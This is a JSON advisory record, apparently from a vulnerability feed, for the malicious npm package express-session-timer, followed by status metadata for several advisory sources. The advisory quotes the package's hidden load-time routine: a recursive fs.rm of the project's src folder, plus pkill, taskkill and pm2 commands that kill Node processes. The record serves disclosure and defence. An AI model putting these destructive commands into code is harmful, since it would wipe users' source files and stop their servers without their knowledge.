{"id":"MAL-2026-16065","revision":null,"records":[{"revision":"5624cffde5084465843d54c35d8e5305","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-16065","aliases":[],"title":"Malicious code in express-session-timer (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n","state":0,"publishedAt":"2026-09-09T01:41:37+00:00","modifiedAt":"2026-09-30T05:30:05.3505132+00:00","affected":[{"ecosystem":"npm","name":"express-session-timer","ranges":[],"versions":["1.0.0","1.0.1","1.0.13","1.0.14","1.0.16","1.0.11","1.0.15"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/express-session-timer/v/1.0.0","https://www.npmjs.com/package/express-session-timer/v/1.0.1","https://www.npmjs.com/package/express-session-timer/v/1.0.13","https://www.npmjs.com/package/express-session-timer/v/1.0.14","https://www.npmjs.com/package/express-session-timer/v/1.0.16","https://www.npmjs.com/package/express-session-timer/v/1.0.11","https://www.npmjs.com/package/express-session-timer/v/1.0.15"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16065","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16065","identifiers":["MAL-2026-16065"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T04:59:02.1392693+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T04:59:02.1392693+00:00","lastSuccessAt":"2026-11-12T04:59:02.3201564+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:02.3201571+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-ef591e4f0e76c3b422ff0b88d5784af14d3e351e9edea517ce7d635ea6edee46","complete":true,"records":424594,"lastAttemptAt":"2026-11-12T04:56:44.8167998+00:00","lastSuccessAt":"2026-11-12T04:56:44.7933175+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:56:44.8167998+00:00","snapshotPublishedAt":"2026-11-12T04:29:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1556443ae10949beb23dc0d6b75915ad","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T05:06:06.4823798+00:00","lastSuccessAt":"2026-11-12T05:06:06.472+00:00","error":"78 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T05:06:06.472+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13735,"expectedIdentifiers":13813,"failedIdentifiers":78},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T04:59:02.1392693+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T04:59:02.1392693+00:00","lastSuccessAt":"2026-11-12T04:59:02.3208823+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:02.3208825+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-80af9ca000ef483a88b41952aab63f47","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T04:59:27.4436031+00:00","lastSuccessAt":"2026-11-12T04:59:27.44+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:27.44+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T04:59:01.6490656+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:01.6490656+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T04:56:44.9519384+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:56:44.9519384+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T04:59:02.0419805+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:02.0419805+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-fda6475739002437b659ab0b5b310aa7608c40371b1aa4c3777924ea9bcf2169","complete":true,"records":231696,"lastAttemptAt":"2026-11-12T04:59:01.5212948+00:00","lastSuccessAt":"2026-11-12T04:58:59.9809674+00:00","error":null,"lastVerifiedAt":"2026-11-12T04:59:01.5212948+00:00","snapshotPublishedAt":"2026-11-12T04:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}